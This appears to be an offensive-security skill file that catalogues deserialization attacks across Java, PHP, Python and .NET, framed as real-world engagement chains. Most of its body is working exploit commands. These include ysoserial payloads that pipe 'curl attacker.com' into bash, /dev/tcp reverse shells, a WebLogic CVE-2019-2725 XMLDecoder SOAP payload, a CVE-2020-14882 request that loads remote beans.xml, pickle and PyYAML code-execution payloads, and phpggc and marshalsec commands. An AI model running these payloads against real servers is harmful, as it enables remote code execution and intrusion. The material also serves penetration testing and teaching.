---
name: scenarios-deserialization
description: "Real-world attack scenarios for Deserialization — CVEs, ysoserial chains, real engagement chains"
---

# Deserialization — Real-World Attack Scenarios

> Sources: ysoserial · CVE database · HackerOne disclosed · real engagement patterns

## Index

### Java Deserialization
- S01: Apache CommonsCollections ysoserial chain
- S02: Spring Framework ysoserial chain
- S03: Groovy ysoserial chain
- S04: JBoss deserialization
- S05: WebLogic deserialization (CVE-2019-2725, CVE-2020-14882)
- S06: JRMPClient ysoserial chain
- S07: C3P0 ysoserial chain
- S08: JNDI injection as deserialization (Log4Shell)
- S09: JMX deserialization
- S10: Java RMI deserialization
- S11: Hessian deserialization
- S12: XStream deserialization
- S13: SnakeYAML deserialization
- S14: Jackson polymorphic deserialization
- S15: Fastjson deserialization (CVE-2017-18349)
- S16: Java AMF deserialization (Flex/BlazeDS)

### PHP Deserialization
- S17: PHP unserialize with __wakeup
- S18: PHP unserialize with __destruct
- S19: PHP unserialize with __toString
- S20: Laravel/RCE gadget chain
- S21: WordPress POP chain
- S22: Symfony POP chain
- S23: CodeIgniter POP chain
- S24: Magento POP chain
- S25: Yii framework POP chain
- S26: Monolog POP chain
- S27: Guzzle POP chain
- S28: PHP Object Injection via Phar
- S29: PHP PHAR deserialization
- S30: PHP session deserialization
- S31: PHP cookie manipulation
- S32: PHP magic methods exploitation

### Python Deserialization
- S33: Python pickle RCE
- S34: Python __reduce__ exploitation
- S35: PyYAML unsafe load
- S36: PyYAML RCE (!!python/object/apply)
- S37: jsonpickle RCE
- S38: ruamel.yaml RCE
- S39: marshal.loads exploit
- S40: shelve exploit

### .NET Deserialization
- S41: .NET BinaryFormatter
- S42: .NET XmlSerializer
- S43: .NET DataContractSerializer
- S44: .NET NetDataContractSerializer
- S45: .NET LosFormatter
- S46: .NET ObjectStateFormatter
- S47: .NET SoapFormatter
- S48: .NET JavaScriptSerializer
- S49: .NET YamlDotNet
- S50: .NET ViewState deserialization (no MAC)

### Node.js Deserialization
- S51: node-serialize RCE
- S52: js-yaml unsafe load
- S53: funcster RCE
- S54: serialize-javascript
- S55: Express session deserialization

### Ruby Deserialization
- S56: Ruby Marshal.load
- S57: Ruby YAML.load
- S58: Ruby JSON.parse with custom deserializer
- S59: Ruby on Rails cookie deserialization

### Other Languages
- S60: Redis RESP pickle deserialization
- S61: Memcached binary protocol
- S62: Apache Thrift deserialization
- S63: Protocol Buffers deserialization
- S64: MessagePack deserialization
- S65: BSON deserialization

---

## Java Deserialization

### S01: Apache CommonsCollections ysoserial
**Context:** Java app using vulnerable commons-collections version
**Seen in:** Real — WebSphere, JBoss, many Java apps
**Impact:** RCE on Java app server

### Detection
```bash
# Identify Java app:
curl -I https://target.com/ | grep -i "JSESSIONID\|java\|tomcat\|jboss"
# Identify vulnerable library:
# Check error pages (often leak class names)
# Or trigger error to leak stack trace
# Check response for: org.apache.commons.collections
# 
# Probe for deserialization:
# Send crafted serialized object in cookie, param, or body
```

### Exploit
```bash
# 1. Get ysoserial:
# https://github.com/frohoff/ysoserial
# Or compiled: https://github.com/frohoff/ysoserial/releases
# 
# 2. Generate payload:
java -jar ysoserial.jar CommonsCollections1 'curl https://attacker.com/shell|bash' > payload.bin
# Or:
java -jar ysoserial.jar CommonsCollections5 'bash -i >& /dev/tcp/attacker.com/4444 0>&1' > payload.bin
# 
# 3. Send payload:
# Common sinks: cookies, params, JSON, XML, HTTP headers
# Use base64 if required:
PAYLOAD=$(base64 -w 0 payload.bin)
curl -X POST https://target.com/api -H "Content-Type: application/x-java-serialized-object" --data-binary @payload.bin
# Or via cookie:
curl -b "data=$PAYLOAD" https://target.com/
# Or via parameter:
curl "https://target.com/?data=$PAYLOAD"
```

### Chain
1. Find Java app
2. Identify CommonsCollections (or other vulnerable lib)
3. Generate ysoserial payload
4. Submit via vulnerable sink
5. RCE on app server
6. Pivot

### Bypass / Notes
- Many gadgets: CC1-7, Spring, Groovy, etc.
- Find which lib is on classpath
- Use ysoserial --gadgets to list
- Try different chains

---

### S05: WebLogic Deserialization
**Context:** Oracle WebLogic server
**Seen in:** Real — many CVEs (CVE-2019-2725, CVE-2020-14882, CVE-2021-2394)
**Impact:** RCE

### Detection
```bash
# Identify WebLogic:
curl -I https://target.com/ | grep -i "weblogic"
curl https://target.com/wls-wsat/
curl https://target.com/_async/AsyncResponseService
```

### Exploit
```bash
# CVE-2019-2725 (XMLDecoder RCE):
curl -X POST https://target.com/_async/AsyncResponseService -H "Content-Type: text/xml" -d '<?xml version="1.0" encoding="UTF-8"?>
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:wsa="http://www.w3.org/2005/08/addressing">
<soapenv:Header>
<wsa:Action>xx</wsa:Action>
<wsa:RelatesTo>xx</wsa:RelatesTo>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java><java version="1.4.0" class="java.beans.XMLDecoder">
<object class="java.lang.ProcessBuilder">
<void method="start">
<string>/bin/bash</string>
<void method="getRuntime"><void method="exec"><array class="java.lang.String" length="3">
<void index="0"><string>/bin/bash</string></void>
<void index="1"><string>-c</string></void>
<void index="2"><string>id</string></void>
</array></void></void></void>
</object>
</java></work:WorkContext>
</soapenv:Header><soapenv:Body><wsa:ReplyTo><wsa:Address>xx</wsa:Address></wsa:ReplyTo></soapenv:Body>
</soapenv:Envelope>'
# 
# CVE-2020-14882 (Admin console RCE):
# Use exploit: https://github.com/jas502n/CVE-2020-14882
# Or manual:
curl "https://target.com/console/images/%252E%252E%252Fconsole.portal?_nfpb=true&_pageLabel=HomePage1&handle=com.bea.core.repackaged.springframework.context.support.ClassPathXmlApplicationContext('http://attacker.com/beans.xml')"
# beans.xml: <beans><bean id="pb" class="java.lang.ProcessBuilder"><constructor-arg><list><value>/bin/bash</value><value>-c</value><value>id</value></list></constructor-arg></bean></beans>
```

### Chain
1. Identify WebLogic
2. Check version
3. Apply matching CVE exploit
4. RCE
5. Pivot

### Bypass / Notes
- Many WebLogic CVEs over the years
- XMLDecoder is recurring issue
- Admin console often exposed
- Patch level critical

---

## PHP Deserialization

### S17-S20: PHP Object Injection
**Context:** PHP app with unserialize() on user input
**Seen in:** Real — many bug bounty reports
**Impact:** RCE if POP chain available

### Detection
```bash
# Identify PHP app:
curl -I https://target.com/ | grep -i "php\|x-powered-by"
# Find unserialize sink:
# 1. Test with serialized data in cookie, param, header
# 2. Look for PHPSESSID or custom PHP cookies
# 3. Trigger errors to leak class names
```

### Exploit
```bash
# 1. Find POP chain:
# - Use phpggc: https://github.com/ambionics/phpggc
# - Or manual: search for vulnerable classes in target's libraries
# 
# 2. Generate payload:
./phpggc Laravel/RCE1 'system("id")' -b -u
# -u = URL encode
# -b = base64 encode
# 
# 3. Submit:
curl -b "data=$(./phpggc Laravel/RCE1 'id' -b)" https://target.com/
# Or:
curl -X POST -d "data=$(./phpggc Symfony/RCE1 'id' -u)" https://target.com/api
```

### Chain
1. Find PHP deserialization sink
2. Identify framework (Laravel, Symfony, etc.)
3. Find POP chain
4. Generate payload
5. Submit
6. RCE

### Bypass / Notes
- phpggc has 100+ gadget chains
- Monolog, Guzzle, SwiftMailer all vulnerable
- Combine with PHAR (S28) for LFI chains
- Phar:// wrapper deserializes metadata

---

## Python Deserialization

### S33: Python pickle RCE
**Context:** Python app with pickle.loads() on user input
**Seen in:** Real — many Python apps
**Impact:** RCE

### Detection
```bash
# Identify Python app:
curl -I https://target.com/ | grep -i "python\|flask\|django\|gunicorn"
# Find pickle sink:
# 1. Look for session cookies
# 2. Trigger error to leak Python stack trace
```

### Exploit
```bash
# 1. Generate pickle payload:
python3 -c "
import pickle
import os
class RCE:
    def __reduce__(self):
        return (os.system, ('id > /tmp/x',))
pickle.dumps(RCE())
"
# Or with reverse shell:
python3 -c "
import pickle, os
class RCE:
    def __reduce__(self):
        return (os.system, ('bash -i >& /dev/tcp/attacker.com/4444 0>&1',))
print(pickle.dumps(RCE()).hex())
"
# 2. Submit (often base64):
PAYLOAD=$(python3 -c "import pickle,os,base64;class R: def __reduce__(self): return (os.system,('id',))
print(base64.b64encode(pickle.dumps(R())).decode())")
curl -b "session=$PAYLOAD" https://target.com/
```

### Chain
1. Find pickle sink
2. Generate RCE payload
3. Submit
4. RCE

### Bypass / Notes
- pickle is dangerous
- Use json or hjson instead
- Django: never deserialize untrusted
- Flask session is signed JWT, not pickle (different)

---

### S35-S36: PyYAML unsafe load
**Context:** Python app with yaml.load() on user input
**Seen in:** Real — many bug bounty reports
**Impact:** RCE

### Detection
```bash
# Test for PyYAML:
# 1. Find YAML parser
# 2. Submit YAML with exploit payload
```

### Exploit
```bash
# 1. Submit malicious YAML:
!!python/object/apply:os.system ['id > /tmp/x']
# Or:
!!python/object/apply:subprocess.check_output [['bash','-c','id']]
# Or:
!!python/object/new:subprocess.check_output [['id']]
# 
# 2. Send to YAML endpoint:
curl -X POST -H "Content-Type: application/yaml" -d "config: !!python/object/apply:os.system ['id']" https://target.com/api
```

### Chain
1. Find YAML parser
2. Submit RCE YAML
3. RCE

### Bypass / Notes
- yaml.load() is dangerous
- Use yaml.safe_load() instead
- Many older apps use unsafe load

---

## .NET Deserialization

### S41: .NET BinaryFormatter
**Context:** .NET app with BinaryFormatter on user input
**Seen in:** Real — many CVEs (CVE-2017-8759, CVE-2018-0802)
**Impact:** RCE

### Detection
```bash
# Identify .NET app:
curl -I https://target.com/ | grep -i "asp.net\|.net\|x-aspnet"
# Find deserialization:
# 1. Look for ViewState
# 2. JSON.NET polymorphic deserialization
# 3. WCF / SOAP endpoints
```

### Exploit
```bash
# 1. Get ysoserial.net:
# https://github.com/pwntester/ysoserial.net
# 
# 2. Generate payload:
ysoserial.exe -g TypeConfuseDelegate -f BinaryFormatter -c "calc" -o raw.bin
# Other gadgets: ObjectDataProvider, WindowsClaimsIdentity
# 
# 3. Send to vulnerable endpoint:
curl -X POST https://target.com/api -H "Content-Type: application/octet-stream" --data-binary @raw.bin
# Or via cookie:
curl -b "ViewState=$(base64 -w 0 raw.bin)" https://target.com/
```

### Chain
1. Find .NET deserialization
2. Generate ysoserial.net payload
3. Submit
4. RCE

### Bypass / Notes
- .NET Framework has many gadgets
- TypeConfuseDelegate most reliable
- ViewState deserialization very common
- Patch level matters

---

## Real-World Chain Examples

### Chain A: Log4Shell → Deserialization → RCE
1. Find Log4j in app
2. JNDI exploit
3. Deserialization payload via JNDI lookup
4. RCE
5. Pivot

### Chain B: PHP Object Injection → PHAR → RCE
1. Find PHP deserialization sink
2. Use PHAR wrapper chain
3. Combine with file upload (PHAR file)
4. RCE

### Chain C: Python pickle + LFI → RCE
1. Find pickle sink
2. Or find YAML parser
3. Generate payload
4. Submit
5. RCE

### Chain D: .NET ViewState → RCE
1. Identify .NET app
2. ViewState deserialization (no MAC)
3. Forge ViewState with RCE payload
4. Submit
5. RCE

---

## Tools

### ysoserial (Java)
```bash
git clone https://github.com/frohoff/ysoserial
cd ysoserial
mvn package -DskipTests
java -jar target/ysoserial-0.0.6-SNAPSHOT-all.jar CommonsCollections1 'id'
# List all gadgets:
java -jar ysoserial-0.0.6-SNAPSHOT-all.jar 2>&1 | grep "Gadget"
```

### ysoserial.net
```bash
# Download from releases
# https://github.com/pwntester/ysoserial.net/releases
ysoserial.exe -g TypeConfuseDelegate -f BinaryFormatter -c "calc" -o raw.bin
```

### phpggc
```bash
git clone https://github.com/ambionics/phpggc
cd phpggc
./phpggc -l  # list chains
./phpggc Laravel/RCE1 'system("id")' -b -u
```

### marshalsec (JNDI)
```bash
git clone https://github.com/mbechler/marshalsec
mvn package -DskipTests
java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://attacker.com:8080/#Exploit
```

### dnsbin (OOB for blind)
```bash
# Use Burp Collaborator or interactsh
```
